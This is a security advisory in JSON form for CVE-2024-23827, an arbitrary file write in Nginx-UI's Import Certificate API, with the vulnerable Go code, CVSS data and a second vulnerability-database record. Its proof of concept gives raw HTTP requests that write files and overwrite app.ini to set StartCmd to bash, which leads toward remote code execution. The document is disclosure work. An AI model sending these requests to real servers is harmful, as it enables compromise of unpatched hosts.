{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/0xJacky/Nginx-UI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0-beta.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-23827"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-29T22:30:18Z",
    "nvd_published_at": "2024-01-29T16:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system.\n\nhttps://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72\n\n```go\nfunc AddCert(c *gin.Context) {\n\tvar json struct {\n\t\tName                  string `json:\"name\"`\n\t\tSSLCertificatePath    string `json:\"ssl_certificate_path\" binding:\"required\"`\n\t\tSSLCertificateKeyPath string `json:\"ssl_certificate_key_path\" binding:\"required\"`\n\t\tSSLCertificate        string `json:\"ssl_certificate\"`\n\t\tSSLCertificateKey     string `json:\"ssl_certificate_key\"`\n\t\tChallengeMethod       string `json:\"challenge_method\"`\n\t\tDnsCredentialID       int    `json:\"dns_credential_id\"`\n\t}\n\tif !api.BindAndValid(c, \u0026json) {\n\t\treturn\n\t}\n\tcertModel := \u0026model.Cert{\n\t\tName:                  json.Name,\n\t\tSSLCertificatePath:    json.SSLCertificatePath,\n\t\tSSLCertificateKeyPath: json.SSLCertificateKeyPath,\n\t\tChallengeMethod:       json.ChallengeMethod,\n\t\tDnsCredentialID:       json.DnsCredentialID,\n\t}\n\n\terr := certModel.Insert()\n\n\tif err != nil {\n\t\tapi.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\tcontent := \u0026cert.Content{\n\t\tSSLCertificatePath:    json.SSLCertificatePath,\n\t\tSSLCertificateKeyPath: json.SSLCertificateKeyPath,\n\t\tSSLCertificate:        json.SSLCertificate,\n\t\tSSLCertificateKey:     json.SSLCertificateKey,\n\t}\n\n\terr = content.WriteFile()\n\n\tif err != nil {\n\t\tapi.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\tc.JSON(http.StatusOK, Transformer(certModel))\n}\n\n```\nhttps://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15\n\n```go\nfunc (c *Content) WriteFile() (err error) {\n\t// MkdirAll creates a directory named path, along with any necessary parents,\n\t// and returns nil, or else returns an error.\n\t// The permission bits perm (before umask) are used for all directories that MkdirAll creates.\n\t// If path is already a directory, MkdirAll does nothing and returns nil.\n\n\terr = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644)\n\tif err != nil {\n\t\treturn\n\t}\n\n\terr = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif c.SSLCertificate != \"\" {\n\t\terr = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\tif c.SSLCertificateKey != \"\" {\n\t\terr = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\treturn\n}\n```\n\n\n### PoC\n\n```\nPOST /api/cert HTTP/1.1\nHost: 127.0.0.1:9000\nContent-Length: 144\nAccept: application/json, text/plain, */*\nAuthorization: \u003cJWT\u003e\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Type: application/json\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7\nConnection: close\n\n{\"name\":\"poc\",\"ssl_certificate_path\":\"/tmp/test\",\"ssl_certificate_key_path\":\"/tmp/test2\",\"ssl_certificate\":\"test\",\"ssl_certificate_key\":\"test2\"}\n```\n\n```bash\nroot@aze:~/nginx# ls -la /tmp/test*\n-rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test\n-rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2\n```\n\nIt\u0027s possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app.\n\n```bash\nroot@aze:~/nginx# cat app.ini  | grep \"StartCmd\"\nStartCmd          = login\n```\nThen we overwrite the `StartCmd` with `bash`\n\n```\nPOST /api/cert HTTP/1.1\nHost: 127.0.0.1:9000\nContent-Length: 980\nAccept: application/json, text/plain, */*\nAuthorization: \u003cJWT\u003e\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Type: application/json\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7\nConnection: close\n\n{\"name\":\"poc\",\"ssl_certificate_path\":\"/root/nginx/app.ini\",\"ssl_certificate_key_path\":\"/tmp/test2\",\"ssl_certificate\":\"[server]\\r\\nHttpHost          = 0.0.0.0\\r\\nHttpPort          = 9000\\r\\nRunMode           = debug\\r\\nJwtSecret         = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\\r\\nNodeSecret        = 139ab224-9e9e-444f-987e-b3a651175ad5\\r\\nHTTPChallengePort = 9180\\r\\nEmail             = props@pros.com\\r\\nDatabase          = database\\r\\nStartCmd          = bash\\r\\nCADir             = dqsdqsd\\r\\nDemo              = false\\r\\nPageSize          = 10\\r\\nGithubProxy       = dqsdqfsdfsdfsdfsd\\r\\n\\r\\n[nginx]\\r\\nAccessLogPath =\\r\\nErrorLogPath  =\\r\\nConfigDir     =\\r\\nPIDPath       =\\r\\nTestConfigCmd =\\r\\nReloadCmd     =\\r\\nRestartCmd    =\\r\\n\\r\\n[openai]\\r\\nBaseUrl = \\r\\nToken   =\\r\\nProxy   =\\r\\nModel   = \\r\\n\\r\\n[casdoor]\\r\\nEndpoint     =\\r\\nClientId     =\\r\\nClientSecret =\\r\\nCertificate  =\\r\\nOrganization =\\r\\nApplication  =\\r\\nRedirectUri  =\",\"ssl_certificate_key\":\"test2\"}\n```\n\n```bash\nroot@aze:~/nginx# cat app.ini  | grep \"StartCmd\"\nStartCmd          = bash\n```\n\nFor the new config to be applied the app needs to be restarted\n\n![image](https://user-images.githubusercontent.com/26652608/299331664-6415a8c1-6611-4e53-8137-3e574c58da28.png)\n\n\n\n### Impact\n\nArbitrary write/overwrite into the host file system with a risk of remote code execution if the app restarts.",
  "id": "GHSA-xvq9-4vpv-227m",
  "modified": "2024-07-26T21:45:30Z",
  "published": "2024-01-29T22:30:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-xvq9-4vpv-227m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23827"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/commit/8581bdd3c6f49ab345b773517ba9173fa7fc6199"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/0xJacky/nginx-ui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Nginx-UI vulnerable to arbitrary file write through the Import Certificate feature"
}

{
  "gsd": {
    "metadata": {
      "exploitCode": "unknown",
      "remediation": "unknown",
      "reportConfidence": "confirmed",
      "type": "vulnerability"
    },
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      ],
      "details": "Nginx-UI is a web interface to manage Nginx configurations. The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. It\u0027s possible to leverage the vulnerability into a remote code execution overwriting the config file app.ini. Version 2.0.0.beta.12 fixed the issue.",
      "id": "GSD-2024-23827",
      "modified": "2024-01-23T06:02:22.070610Z",
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          }
        ]
      },
      "impact": {
        "cvss": [
          {
            "attackComplexity": "LOW",
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            "availabilityImpact": "HIGH",
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
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        "descriptions": [
          {
            "lang": "en",
            "value": "Nginx-UI is a web interface to manage Nginx configurations. The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. It\u0027s possible to leverage the vulnerability into a remote code execution overwriting the config file app.ini. Version 2.0.0.beta.12 fixed the issue."
          },
          {
            "lang": "es",
            "value": "Nginx-UI es una interfaz web para administrar configuraciones de Nginx. La funci\u00f3n Import Certificate permite la escritura arbitraria en el sistema. La funci\u00f3n no verifica si la entrada del usuario proporcionada es una certificaci\u00f3n/clave y permite escribir en rutas arbitrarias en el sistema. Es posible aprovechar la vulnerabilidad para ejecutar c\u00f3digo remoto sobrescribiendo el archivo de configuraci\u00f3n app.ini. La versi\u00f3n 2.0.0.beta.12 solucion\u00f3 el problema."
          }
        ],
        "id": "CVE-2024-23827",
        "lastModified": "2024-02-08T16:42:39.110",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 9.8,
                "baseSeverity": "CRITICAL",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
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                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
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        "published": "2024-01-29T16:15:09.867",
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            "tags": [
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}